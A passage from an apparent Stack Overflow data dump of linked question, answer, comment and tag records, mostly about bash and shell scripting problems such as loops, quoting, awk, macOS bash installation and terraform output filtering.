Elasticache redis which prevents me from setting it up as a follower of the heroku instance as these commands are restricted The two redis servers cannot communicate directly which is why I am using the DUMP and restore method
has comment: http://stackoverflow.com/comment/135545912
tagged with: redis
score: 0
tagged with: bash
has comment: http://stackoverflow.com/comment/135545922
has title: Why does redis-cli DUMP (rdcli) return (nil) when the value passed is a loop control variable?

xdotool
tag name: xdotool
tags question: http://stackoverflow.com/q/76907867
type: Tag

http://stackoverflow.com/q/76980350
tagged with: awk
has body: I have a for loop that accepts a file with one type of extension, but the final command in the pipe requires the STDIN file to have an extension of another type. In my pipe I use awk to change the file type so that it is properly formatted for the final command, but the extension is still linked to the initial input file. For example: for file in *.AAA do commandA $file | awk ' { print } ' | commandB A typical use of commandB: commandB -i myfile.BBB Is there a way for me to change the extension of a file in the middle of a for loop &amp; pipe?
has answer: http://stackoverflow.com/a/76980511
has comment: http://stackoverflow.com/comment/135707480
has comment: http://stackoverflow.com/comment/135706638
type: Question
has title: Change Filename in Pipe
tagged with: shell
accepted answer: http://stackoverflow.com/a/76980511
has comment: http://stackoverflow.com/comment/135706733
score: 1
duplicate of: http://stackoverflow.com/q/45563855
linked to: http://stackoverflow.com/q/45563855
has comment: http://stackoverflow.com/comment/135706870
has comment: http://stackoverflow.com/comment/135706670
tagged with: parameter-expansion
downvote count: 0
tagged with: pipe
has comment: http://stackoverflow.com/comment/135707808
upvote count: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135707817

http://stackoverflow.com/q/77010630
linked to: http://stackoverflow.com/q/53564733
tagged with: if-statement
tagged with: filesystems
has comment: http://stackoverflow.com/comment/135762125
duplicate of: http://stackoverflow.com/q/53564733
tagged with: for-loop
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135762034
linked to: http://stackoverflow.com/q/5930671
score: 0
type: Question
has title: How would I write a for loop and test if a file exist in a list of files?
has comment: http://stackoverflow.com/comment/135765856
has body: Scenario: I have a file called text.txt that contains items in the following format: 002 jack /data/jack_profile_0606112019.doc 004 jack /data/jack_pic_06062019.jpg 009 jane /data/jack_profile_06162019.doc 012 tommy /data/jack_profile_06262019.doc 002 jackf /data/jackf_profile_09062019.doc 002 jack /data/jack_profile_0606112019.pdf I am writing a Bash script to search for jack, retrieve the last group (ex /data/jack_profile_06062019.doc), and save that information to a variable. `files=&quot;$(grep ' jack ' ../data/text.txt | cut -d ' ' -f3`)&quot; `echo $files` returns /data/jack_profile_0606112019.doc /data/jack_pic_06062019.jpg /data/jack_profile_0606112019.pdf This is great so far I proceeded to build the basic by iterating through lines in $files and printing out the outputs adding the path to the root directory ~. `for item in $files; do echo ~$item; done` Here is the output: /home/janedoe/data/jack_profile_0606112019.doc /data/jack_pic_06062019.jpg /data/jack_profile_0606112019.pdf Here is what I expected: /home/janedoe/data/jack_profile_0606112019.doc /home/janedoe/data/jack_pic_06062019.jpg /home/janedoe/data/jack_profile_0606112019.pdf Notice that only the first file returns the actually full path and not the rest. This is where I think I am stuck. Finally, add the if condition to check if the files from the $file exist and output the info to a file for item in $files; do if [ -e ~$item ]; then echo ~$item &gt;&gt; output.txt; fi; done `cat output.txt` should read /home/janedoe/data/jack_profile_0606112019.doc /home/jan/dedoeata/jack_pic_06062019.jpg
type: UnansweredQuestion
tagged with: bash

heredoc
type: Tag
tags question: http://stackoverflow.com/q/76942752
tags question: http://stackoverflow.com/q/77029606
tag name: heredoc
tags question: http://stackoverflow.com/q/77752534
tags question: http://stackoverflow.com/q/77962789
tags question: http://stackoverflow.com/q/79288143

http://stackoverflow.com/comment/135761219
type: AnswerComment
has text: @LordOfTheRing if it's just the **O**utput **F**ield **S**eparator (aka delmiter) that needs changed then change `OFS=","` to `OFS=";"`
comment on: http://stackoverflow.com/a/77010843
score: 0
type: Comment

http://stackoverflow.com/comment/135613250
comment on: http://stackoverflow.com/q/76927566
type: Comment
score: 0
has text: Your shell will not expand `$VAR_INP` if it is inside single quotes.
type: QuestionComment

http://stackoverflow.com/comment/135815531
score: 3
type: QuestionComment
has text: May be `paste <(grep "^--@" "$testfile") <(grep ">>>" "$LOG_DIR/$(basename "$test_file")")`.
type: Comment
comment on: http://stackoverflow.com/q/77041956

http://stackoverflow.com/q/76946610
score: 1
tagged with: ansible
answer count: 1
has comment: http://stackoverflow.com/comment/135646720
favorite count: 0
type: AnsweredQuestion
downvote count: 1
has body: I want to execute following command that contains double quotes: - name: Initializing Kubernetes cluster shell: kubeadm init --control-plane-endpoint "hostname:port" Don't know if it will work or not as if I check the command as follows: - debug: msg: kubeadm init --control-plane-endpoint "hostname:port" It gives kubeadm init --control-plane-endpoint \"hostname:port\". Why output contains extra backslash between quotes? Will the command execute properly as it is or I have to add something due to double quote? (I couldn't test by executing it as it is a production server)
type: Question
has answer: http://stackoverflow.com/a/76947075
accepted answer: http://stackoverflow.com/a/76947075
linked to: http://stackoverflow.com/q/68559796
has title: Execute command contains double quotes in Ansible
upvote count: 2
tagged with: shell

http://stackoverflow.com/a/76924326
has comment: http://stackoverflow.com/comment/135612752
has body: You expect a ksh solution. As ksh is sh-compatible a sh script is fitting too. Additionally it maximizes portability: #!/bin/sh # Expects the data file as first parameter. for input in $(cat $1); do header=&quot;${header}|${input%|*}&quot; data=&quot;${data}|${input#*|}&quot; done echo ${header#*|} echo ${data#*|} If you prefer to use a pipe the suggestion of @Fravadona is the script for you: #!/bin/sh # Accepts the data from pipe while IFS='|' read -r key value; do header=&quot;${header}|${key}&quot; data=&quot;${data}|${value}&quot; done echo ${header#*|} echo ${data#*|}
upvote count: 1
downvote count: 0
score: 1
type: Answer
answers question: http://stackoverflow.com/q/76924061

http://stackoverflow.com/comment/135792625
comment on: http://stackoverflow.com/q/77028902
has text: FWIW, you can get the socket directly without scraping by making a request to localhost:9222/json/version, see https://chromedevtools.github.io/devtools-protocol/#endpoints
score: 3
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135595206
type: QuestionComment
comment on: http://stackoverflow.com/q/76916410
has text: Sorry, @Barmar. I found that after posting my question, and didn't know that feature wasn't available in `bash`. Will remember that in the future.
type: Comment
score: 0

http://stackoverflow.com/comment/135810675
type: QuestionComment
type: Comment
has text: So [edit] the question to give a [mre].
comment on: http://stackoverflow.com/q/77039334
score: 0

http://stackoverflow.com/comment/135760810
score: 0
type: Comment
comment on: http://stackoverflow.com/a/77010727
type: AnswerComment
has text: You might find [this](https://stackoverflow.com/q/74957451/619830) interesting. Apparently, you have no other choice than building the POST request by yourself.

http://stackoverflow.com/comment/135766672
has text: Thanks for your answer. I still need my 3 variables "revision,sha1,changelist" but not the value of those. With this code for example i would get the correct version number but it would add the value of the 3 variables behind the versionnumber instead of the variable names themselves. sh 'mvn build-helper:parse-version versions:set -DnewVersion=\\\${parsedVersion.majorVersion}.\\\${parsedVersion.nextMinorVersion}.0\\\${revision}\\\${sha1}\\\${changelist} versions:commit'
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/77014284

http://stackoverflow.com/comment/135647802
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76930863
has text: don't know what you mean, you need ok after the long press?

http://stackoverflow.com/comment/135579604
type: QuestionComment
has text: Do you have an example invocation demonstrating the error? With the `return` statements for `h)` and `s)`, the loop and function are going to exit when those options are in the input. If the input is similar to the usage statement, with `-d` and `-q` at the end, those options will be skipped.
score: 0
comment on: http://stackoverflow.com/q/76905287
type: Comment

http://stackoverflow.com/a/77052639
has comment: http://stackoverflow.com/comment/135835897
has comment: http://stackoverflow.com/comment/135835933
accepted answer of: http://stackoverflow.com/q/77052638
downvote count: 1
type: AcceptedAnswer
upvote count: 29
answers question: http://stackoverflow.com/q/77052638
has comment: http://stackoverflow.com/comment/135835877
has comment: http://stackoverflow.com/comment/135835873
type: Answer
has comment: http://stackoverflow.com/comment/135835850
score: 28
has body: TLDR Install desired bash: brew install bash Confirm the path: /opt/homebrew/bin/bash --version (If it's different, adapt the below accordingly). sudo nano /etc/shells and insert /opt/homebrew/bin/bash at the top of the list. This is so the next instruction will succeed. Change default login shell: chsh -s /opt/homebrew/bin/bash Close and reopen your terminal program, and echo $SHELL to confirm the running shell is indeed /opt/homebrew/bin/bash Now tweak so a terminal session can see homebrew locations: nano ~/.bash_profile (it will create it if it's empty) and add the line: eval "$(/opt/homebrew/bin/brew shellenv)" Test it worked: close and reopen your terminal program, then: > echo $SHELL /opt/homebrew/bin/bash # location of the running shell program > echo $BASH_VERSION # version of the running shell program 5.2.15(1)-release > which bash # check our $PATH contains homebrew locations /opt/homebrew/bin/bash > bash --version # check this is consistent with above GNU bash, version 5.2.15(1)-release (aarch64-apple-darwin22.1.0) Copyright (C) 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Deep dive MacOS ships with the latest BASH that uses LGPL v2 license: > which bash /bin/bash > /bin/bash --version GNU bash, version 3.2.57(1)-release (arm64-apple-darwin23) Copyright (C) 2007 Free Software Foundation, Inc. You can install latest bash (e.g. with homebrew) > brew install bash : > brew info bash ==> bash: stable 5.2.15 (bottled), HEAD : What happened here? AFAIK after 3.2.x, the bash license changed from LGPL v2 to v3. Apple refused to morph into compliance LGPL v3, instead fixing the bash version shipping with MacOS to 3.2.x. Eventually it became awkward, and (2019/Catalina) they switched to zsh (MIT license). Now we need to use chsh to change the default login shell to the new bash,…

http://stackoverflow.com/comment/135791306
score: 0
comment on: http://stackoverflow.com/q/77027254
type: QuestionComment
has text: https://stackoverflow.com/questions/10683349/forcing-bash-to-expand-variables-in-a-string-loaded-from-a-file
type: Comment

http://stackoverflow.com/comment/135557294
has text: In general, run your code through http://shellcheck.net/ and fix what it finds before asking questions here.
comment on: http://stackoverflow.com/q/76893700
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135847318
comment on: http://stackoverflow.com/q/77058657
type: Comment
score: 0
type: QuestionComment
has text: `set` is not meant to set a variable. Maybe you mean `let`? `let GITHUB_ENV_var=1` would make sense for variables which should hold integer values. But the variable would still **not** end up in the environment.

http://stackoverflow.com/q/76967366
has title: npm installing packages globally
score: 0
type: Question
tagged with: macos
tagged with: shell
tagged with: npm
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135682744
tagged with: node.js
answer count: 0
has comment: http://stackoverflow.com/comment/135683055
upvote count: 1
has body: My current working directory is : ~/Documents/Computer Science/Web Development/5 Node/jokester Here, I do a npm install colors. My package is installed successfully. But the problem is the package is installed in ~/node_modules. I didn't use the -g flag anywhere. Shouldn't npm install the packages in my current directory? This node_modules folder should be present in my current directory and not at the home directory, right? Here is some additional info: npm list gives /Users/MacAir colors@1.4.0 which confirms that packages are installed in home directory. (MacAir is username) npm get prefix gives /usr/local npm get location gives user I asked ChatGPT, and it suggest me to do: npm config set --global prefix $(pwd)/node_modules which does not work. Packages are still installed in global. How to get around this? What I want to achieve is that in whatever new directory I run the command of npm install blah I should have the node_modules folder ONLY in that directory, and not globally like what is happening right now.
favorite count: 0
downvote count: 1

http://stackoverflow.com/q/76924061
has comment: http://stackoverflow.com/comment/135607751
has comment: http://stackoverflow.com/comment/135612750
has body: I have a file with static format like below. column|Data Example: Name|Joe Surname|Robinson Country|US Gender|Male I am expecting below output using a ksh script Name|Surname|Country|Gender Joe|Robinson|US|Male Please suggest what approach I can use.
upvote count: 0
tagged with: unix
has answer: http://stackoverflow.com/a/76924326
has comment: http://stackoverflow.com/comment/135607892
tagged with: ksh
score: -1
type: Question
tagged with: shell
tagged with: linux
has comment: http://stackoverflow.com/comment/135607809
type: UnansweredQuestion
has title: Transform two columns to columnar data using ksh script
answer count: 1
linked to: http://stackoverflow.com/q/1729824
favorite count: 0
downvote count: 1

http://stackoverflow.com/comment/135772224
type: AnswerComment
score: 0
has text: Thanks for the answer Paul, but my question is more related to how to create a shell script that runs the commands sequentially even when a SIGINT is sent to one of the commands, I don't think there is a way to achieve that by using conditionals.
type: Comment
comment on: http://stackoverflow.com/a/77017503

http://stackoverflow.com/comment/135612752
has text: Thanks for your help!! This did not work for me. however we figured out a workaround where we loading the data as is into the table and then writing SQL to pivot it
type: Comment
comment on: http://stackoverflow.com/a/76924326
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135714636
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76954855
has text: Either way, using `su` is either unnecessary (if you're root) or it's necessary but going to fail (if you're not root). If it's the latter case, you'd be better off to use `sudo` _to start the script itself_, since you can configure in `/etc/sudoers` to give user A permission to run a specific script as user B.

http://stackoverflow.com/q/77027025
tagged with: terraform
answer count: 1
accepted answer: http://stackoverflow.com/a/77028857
favorite count: 0
type: AnsweredQuestion
has body: I am trying to put a shell script to check if there is a drift in terraform or not and I am filtering terraform plan to a variable and using grep trying to print if there is a drift. But echo is printing the whole variable output rather filtered output with grep condition. i=environment terraform init tf_plan=$(terraform plan | grep -v "Refreshing state" | grep -v "data") drift_check=`echo $tf_plan | grep -c 'to add\|to change\|to destroy'` if $drift_check -ge 1 then echo "Drift detected in environment $i" printf "%s:%s" "$i" "`echo $tf_plan | grep -E 'to add|to change|to destroy'`" else echo "No drift detected in environment $i" printf "%s:%s" "$i" "`echo $tf_plan | grep -E 'No changes'`" fi ExpectedOutput assuming there is a drift environment:Plan: 0 to add, 1 to change, 0 to destroy. When I run these commands manually I am getting expected output like below echo $tf_plan | grep -c 'to add\|to change\|to destroy' 1 echo $tf_plan | grep -E 'to add|to change|to destroy' Plan: 0 to add, 1 to change, 0 to destroy. printf "%s:%s" "$i":"`echo $tf_plan | grep -E 'to add|to change|to destroy'`" environment:Plan: 0 to add, 1 to change, 0 to destroy But through bash script its printing out whole terraform drift plan. Below is the output of tf_plan variable echo $tf_plan Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: ~ update in-place Terraform will perform the following actions: # elasticstack_elasticsearch_index.idx1 will be updated in-place ~ resource "elasticstack_elasticsearch_index" "idx_salesorder_2019_v6" { id = "xyzadcfgd/idx1" ~ mappings = jsonencode( ~ { ~ properties = { ~ address = { ~ properties = { ~ addressdetails = { ~ properties = { - streetlocation = { - fields = { - keyword = { - ignore_above = 256 - type = "keyword" } } - type = "text" } # (30 unchanged attributes hidden) } } # (1 unchanged attribute hidden) } } # (3 unchanged attributes hidden) } } ) name = …
tagged with: linux
downvote count: 2
tagged with: bash
type: Question
has title: How to filter a particular line from terraform plan output
score: 0
upvote count: 2
tagged with: shell
has answer: http://stackoverflow.com/a/77028857

http://stackoverflow.com/comment/135585006
has text: @azle : You did not specify any looping in your question. If you can verify, that the answer by Ted Lyngmo works for the question you have actually asked (i.e. no loop context), please accept it and then ask a new question, where you demonstrate how you imbedded Ted's solution in a loop.
comment on: http://stackoverflow.com/a/76906862
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/135615742
type: Comment
comment on: http://stackoverflow.com/q/76927538
has text: Please read [why-is-using-a-shell-loop-to-process-text-considered-bad-practice](https://unix.stackexchange.com/questions/169716/why-is-using-a-shell-loop-to-process-text-considered-bad-practice).
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135697419
has text: So, if you don't want / can't change this aspect of the implementation, how then using one of my other suggestions? I think your problem boils down to "how can a program use information, which has been generated by a different program".
type: QuestionComment
comment on: http://stackoverflow.com/q/76968448
score: 0
type: Comment

http://stackoverflow.com/comment/135697832
type: QuestionComment
score: 1
has text: (1) You are using single quotes in your `gnome-terminal` command, which inhibit variable expansion. (2) I find it somewhat confusing that you talk about bash scripts, and then start the gnome terminals with plain POSIX shell scripts. (3) Since you use double-quotes in the definition of `commonPath`, tilde-expansion does not occur.
type: Comment
comment on: http://stackoverflow.com/q/76974859

http://stackoverflow.com/comment/135595591
score: 0
comment on: http://stackoverflow.com/a/76916640
has text: Thank you for your answer, but that passes a single path to `fswatch`, instead of two.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135781410
score: 0
has text: `cd ./tools/darwin/ && ./adb` will *first* execute the first command and if successful execute the second. In particular this is correct way to navigate to a directory and run a command in said directory.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77022553

http://stackoverflow.com/comment/135706141
type: QuestionComment
has text: I can try and help for a while today. I recommend you add a section at the bottom labeled **`edit`**. Include your "best" attempt using above comment code to show your status with the problem. Good luck.
type: Comment
comment on: http://stackoverflow.com/q/76971571
score: 0

http://stackoverflow.com/q/76954855
has comment: http://stackoverflow.com/comment/135714626
has comment: http://stackoverflow.com/comment/135668584
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135662237
type: UnansweredQuestion
has body: I have small .sh that does login as a user and moves files that have a .bad extension to another folder. Here's the code: su - "user" cd.. cd input mv *.bad /storico This script runs on a virtual machine, and since it could be scheduled I would need a way to hard code the password for user "user" into the script to make it schedulable. Since I am pretty new to these scripts I am not sure if either it's possible to set up password or not. I was trying to fine the help for su command, but if I execute it it gives me suggestions for suspend command.
has comment: http://stackoverflow.com/comment/135662281
has comment: http://stackoverflow.com/comment/135661343
has comment: http://stackoverflow.com/comment/135714635
has title: Shell to move .bad files doesn't actually move files
answer count: 0
has comment: http://stackoverflow.com/comment/135714636

http://stackoverflow.com/comment/135627197
has text: @user1934428 thank you so much for your hind :-). I just edit it.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76892746
score: 0

http://stackoverflow.com/comment/135644313
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/76945139
has text: In your attempt, I don't understand the idea behind the regular expression `@|@`. It means _an @ or an @_, and could be easier written by `-FS @`.

http://stackoverflow.com/comment/135589944
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76913434
has text: `jq -re 'if (.fields.description) then .fields.description+"\ndoneeee\nPASSED! Jira description check" else ("donneeee\nFAILED! Jira description cannot be empty", null) end' <<< "${JIRA_DETAIL}"` Only with jq
type: QuestionComment

http://stackoverflow.com/q/76917412
has comment: http://stackoverflow.com/comment/135598729
has comment: http://stackoverflow.com/comment/135608307
type: Question
tagged with: shell
downvote count: 0
has answer: http://stackoverflow.com/a/76943887
type: UnansweredQuestion
score: 1
upvote count: 1
answer count: 1
favorite count: 0
has body: In a MAUI contentpage.xaml you can set Shell.NavBarIsVisible="false" as per the code below. (just showing the key parts of the pages and appshell xaml). <?xml version="1.0" encoding="utf-8" ?> <ContentPage xmlns="http://schemas.microsoft.com/dotnet/2021/maui" xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml" x:Class="MAUI.DetailPage" Shell.NavBarIsVisible="True" Shell.TabBarIsVisible="False" Shell.FlyoutBehavior="Disabled" Title="Detail Page" > ... <?xml version="1.0" encoding="UTF-8" ?> <ShellContent Title="Home" ContentTemplate="{DataTemplate local:HomePage}" Route="HomePage" /> <ShellContent Title="List" ContentTemplate="{DataTemplate local:ListPage}" Route="ListPage" /> <ShellContent Title="About" ContentTemplate="{DataTemplate local:AboutPage}" Route="AboutPage" /> <?xml version="1.0" encoding="utf-8" ?> <ContentPage xmlns="http://schemas.microsoft.com/dotnet/2021/maui" xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml" x:Class="MAUI.HomePage" Title="Home Page" > ... <?xml version="1.0" encoding="utf-8" ?> <ContentPage xmlns="http://schemas.microsoft.com/dotnet/2021/maui" xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml" x:Class="MAUI.ListPage" Title="List Page" > ... <?xml version="1.0" encoding="utf-8" ?> <ContentPage xmlns="http://schemas.microsoft.com/dotnet/2021/maui" xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml" x:Class="MAUI.AboutPage" Title="About"> ... Navigation Sequence open app to Home Page use flyout to navigate to List Page List Page (Flyout shown, NavBar shown, TabBar shown) navigate to Detail page Detail page (Flyout hidden, NavBar shown, TabBar shown - even though tabbar, flyout have been turn off in xaml) from tabbar pick About page About page (Flyout shown, NavBar shown, TabBar shown) from About page pick the List page from tabbar the Detail page is shown (not the selected List page, but this is actually correct), (Flyout hidden, NavBar shown, TabBar hidden as per the xaml settings) click on Detail page back button the …
tagged with: maui
tagged with: navigation
has title: is Maui Shell.NavBarIsVisible supposed to be a global setting for all pages

http://stackoverflow.com/comment/135769647
has text: Thank you for your answer. It seems to work effectively if I use only 'something' string nested together. In my script I have quite a lot of other strings that I would like to avoid editing, that are set using double quotes ("). I get an error {Unmatched ".} if I try to mix these two types of string. If I want to mix those two types of string is it possible ?
comment on: http://stackoverflow.com/a/77016008
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/q/77015147
favorite count: 0
has comment: http://stackoverflow.com/comment/135808212
has answer: http://stackoverflow.com/a/77015205
type: Question
tagged with: shell
tagged with: linux
has body: I googled a lot, and most of the answer is ps -p $PID -o comm=, but I find this result is not precise -- sometime it is truncated. $ pidof transmission-daemon 1169 $ ps -p 1169 -o comm= transmission-da So, what is the correct way to get the exact program name (not truncated one) via PID ?
type: UnansweredQuestion
upvote count: 1
answer count: 1
score: -2
downvote count: 3
has title: How can I get the exact program name via PID in shell？

http://stackoverflow.com/comment/135735508
score: 0
comment on: http://stackoverflow.com/q/76996572
type: QuestionComment
has text: If all your references are on the same filesystem, the hardlink method will be best.
type: Comment

http://stackoverflow.com/q/76974859
has comment: http://stackoverflow.com/comment/135696237
has body: I need to run a bunch of services in separate terminal windows. Ideally, there would be a script to do this. However, I'm unsure about what way is the most elegant/safest/most portable/coolest/best. The script would look something like this: #!/bin/bash commonPath="~/Documents/myServices" for x in service1 service2 service3; do gnome-terminal -- sh -c 'cd $commonPath/$x;make;$SHELL' done However, this doesn't work , as the variables $commonPath and $x are not exported into the new gnome-terminal. What is the best way to solve the problem?
type: Question
has comment: http://stackoverflow.com/comment/135697807
has comment: http://stackoverflow.com/comment/135697910
type: UnansweredQuestion
answer count: 1
has title: How to run through a bash script loop in separate terminals
has answer: http://stackoverflow.com/a/76974912
score: 0
has comment: http://stackoverflow.com/comment/135697832
tagged with: shell
tagged with: bash

http://stackoverflow.com/comment/135685351
has text: [The rust answer you linked](https://stackoverflow.com/a/58994637/1745001) gives you a clue - "Grep runs out of memory even on a machine with 768 GB of RAM!". What does `awk -v RS='<wd:Report_Entry>' 'END{print NR-1}' file.xml` **using GNU awk for multi-char RS** (so not the default BSD awk on MacOS - you'll have to install GNU awk) output? There's nothing special about `<` or `>` in a regexp by the way, they're just literal characters as long as you don't put a ```\``` in front of them as that'd turn them into word boundaries in some regexp engines.
comment on: http://stackoverflow.com/q/76968047
type: QuestionComment
type: Comment
score: 0

arguments
type: Tag
tags question: http://stackoverflow.com/q/76916410
tag name: arguments
tags question: http://stackoverflow.com/q/76967654
tags question: http://stackoverflow.com/q/77901350
tags question: http://stackoverflow.com/q/78195964
tags question: http://stackoverflow.com/q/78581887
tags question: http://stackoverflow.com/q/78784830
tags question: http://stackoverflow.com/q/78938442
tags question: http://stackoverflow.com/q/79009107

http://stackoverflow.com/comment/135569847
type: Comment
type: AnswerComment
has text: Thank you, this is a brilliant alternative solution; I could not see it at first when reading the comment but it is very clear now.
score: 0
comment on: http://stackoverflow.com/a/76901883

http://stackoverflow.com/comment/135585098
comment on: http://stackoverflow.com/a/76910838
score: 2
has text: Better to say `if (( i % 2 != 0 ))` or just `if (( i % 2 ))`.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135730178
type: Comment
has text: Please present an example of a full command that you're using to send mail. Also, have you confirmed that the mail you're sending is actually getting through to the intended recipients?
comment on: http://stackoverflow.com/q/76993432
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135735461
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76996572
has text: Moving a hardlink doesn't have any effect on other hardlinks.

http://stackoverflow.com/comment/135643718
type: Comment
has text: How many lines here? ` <"/>`
score: 0
comment on: http://stackoverflow.com/q/76944879
type: QuestionComment

http://stackoverflow.com/a/76896958
has body: If I understand correctly, you're trying to compare the files in pairs, but not comparing files to themselves (i.e. don't compare file5.txt to file5.txt) and only compare each pair once (i.e. after comparing file5.txt to file7.txt, it's not necessary to compare file7.txt to file5.txt). You should be able to do it by storing the filenames in an array, then making a double loop over the array: files=(file5.txt file7.txt file11.txt file13.txt file14.txt file21.txt file22.txt file23.txt) # for i as each index in the array... for ((i=0; i&lt;${#files[@]}; i++)); do # for j as each index HIGHER THAN i in the array... for ((j=i+1; j&lt;${#files[@]}; j++)); do caulatepet.py \ --i &quot;${files[i]}&quot;, &quot;${files[j]}&quot; \ --menscor men-code.list \ --stat sex-rd.ratio \ --out &quot;./result/${files[i]%.txt}_${files[j]}&quot; done done BTW, the syntax of that -i option looks weird; is there really supposed to be a space after the ,?
answers question: http://stackoverflow.com/q/76896765
type: Answer
upvote count: 2
accepted answer of: http://stackoverflow.com/q/76896765
downvote count: 0
score: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/135815693
comment on: http://stackoverflow.com/a/77042018
has text: sorry i was just editing the above comment
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76927538
has answer: http://stackoverflow.com/a/76927576
answer count: 2
score: -1
tagged with: grep
tagged with: shell
tagged with: linux
accepted answer: http://stackoverflow.com/a/76927576
has title: How to map values from one file to another file and write it to another file using shell script
favorite count: 0
type: AnsweredQuestion
downvote count: 1
tagged with: awk
tagged with: sed
type: Question
upvote count: 0
has answer: http://stackoverflow.com/a/76941841
has comment: http://stackoverflow.com/comment/135615742
has comment: http://stackoverflow.com/comment/135618521
possible better answer: http://stackoverflow.com/a/76941841
has body: I have 2 text files. below text file is projectnameid.txt. first column is project name. second column in project id basket-items 9189 cloudfabric-notifications 10789 cloud-ports 10965 common 9081 customer-port-management 8550 deploy-quote 8348 geographical-location-management 8549 internet-connections 9293 ipaddress 8536 ip-addresses 9294 order-notifications 11725 order-status 8353 port-inventory 8486 port-locations 8490 pricing-quotes 8493 product-availability 8488 product-catalogue 8489 product-countrylist 8492 stub-service 8510 customer-port-management-sf 10488 internet-connections-order-sf 11166 ip-addresses-order-sf 11165 below text file is endfilter3-all-b.txt 337718 10965 "refs/merge-requests/13/head" "2023-07-19T11:39:41.739Z" 318933 8536 "develop" "2023-07-05T11:41:28.482Z" 366210 8549 "develop" "2023-08-11T13:49:18.905Z" 338835 8510 "main" "2023-07-20T06:45:59.823Z" 135208 8348 "main" "2023-02-17T11:25:07.723Z" 115402 8493 "main" "2023-02-07T06:52:05.486Z" 361979 9293 "refs/merge-requests/83/head" "2023-08-09T07:38:32.831Z" 345703 11725 "main" "2023-07-26T08:31:11.004Z" 101775 8353 "main" "2023-02-02T09:22:47.402Z" 115414 8486 "main" "2023-02-07T07:41:35.478Z" 150861 9081 "main" "2023-03-13T05:37:31.370Z" 135733 8489 "main" "2023-02-17T16:14:51.280Z" first column is pipeline id, second column is project id, third column is branch name, fourth column is timestamp I have to read endfilter3-all-b.txt first then select each project id and match the project id from projectnameid.txt after pick the matching project id and project name write it to finalized-project-names.txt expected output: (finalized-project-names.txt) cloud-ports 10965 ipaddress 8536 geographical-location-management 8549 stub-service 8510 deploy-quote 8348 pricing-quotes 8493 internet-connections 9293 order-notifications 11725 order-status 8353 port-inventory 8486 common 9081 product-catalogue 8489 this is what I tried: #!/bin/bash > finalized-project-names.txt project_name_id_file="projectna…

http://stackoverflow.com/q/76886382
has body: How can I sum a time in HH:MM:SS with another one time in second in shell or python? For example, suppose that the time is 07:12:54 and I need to add 2000.234 seconds, how can I calculate the output time in HH:MM:SS after the sum? And how will be if I wanna decrease the seconds of the HH:MM:SS time? thanks,
tagged with: math
has answer: http://stackoverflow.com/a/76886550
has comment: http://stackoverflow.com/comment/135543864
accepted answer: http://stackoverflow.com/a/76886550
type: AnsweredQuestion
tagged with: time
has comment: http://stackoverflow.com/comment/135543870
has comment: http://stackoverflow.com/comment/135543862
linked to: http://stackoverflow.com/q/100210
has comment: http://stackoverflow.com/comment/135543769
tagged with: date
score: 0
type: Question
tagged with: shell
has title: How to sum time HH:MM:SS with seconds on shell?
has comment: http://stackoverflow.com/comment/135543790
answer count: 1
has comment: http://stackoverflow.com/comment/135543714
tagged with: python

http://stackoverflow.com/q/77029606
has comment: http://stackoverflow.com/comment/135794381
has title: Automating create-next-app with heredocs doesn't work, why?
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/135793745
tagged with: heredoc
tagged with: shell
type: UnansweredQuestion
has body: Output from terminal &gt; npx create-next-app@latest &lt;&lt;EOF app1 No Yes Yes Yes Yes Yes @/* EOF ? What is your project named? › app1NoYesYesYesYesYes@/*% Why this doesn't create a nextjs app? Here is a normal flow of using create-next-app. Just to let you know the outputs. &gt; npx create-next-app@latest Need to install the following packages: create-next-app@13.4.19 Ok to proceed? (y) y ✔ What is your project named? … my-app ✔ Would you like to use TypeScript? … No / Yes ✔ Would you like to use ESLint? … No / Yes ✔ Would you like to use Tailwind CSS? … No / Yes ✔ Would you like to use `src/` directory? … No / Yes ✔ Would you like to use App Router? (recommended) … No / Yes ✔ Would you like to customize the default import alias? … No / Yes ✔ What import alias would you like configured? … @/* Creating a new Next.js app in /Users/zequn/Desktop/t4/my-app. ... Success! Created my-app at /path/to/project
score: 0

http://stackoverflow.com/comment/135760072
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77009623
has text: That `type` output confirms exactly what I'm saying in my answer: `.broken_file` is being resolved from the `PATH`, not from the current directory.
type: QuestionComment

http://stackoverflow.com/a/77320411
upvote count: 1
answers question: http://stackoverflow.com/q/77042234
downvote count: 0
score: 1
type: Answer
has body: systemctl is-active service_name What this command does is check whether any of the specified units are active (i.e. running). Returns an exit code 0 if at least one is active, or non-zero otherwise. You can find it int the man manual

http://stackoverflow.com/a/77017150
answers question: http://stackoverflow.com/q/77016713
downvote count: 0
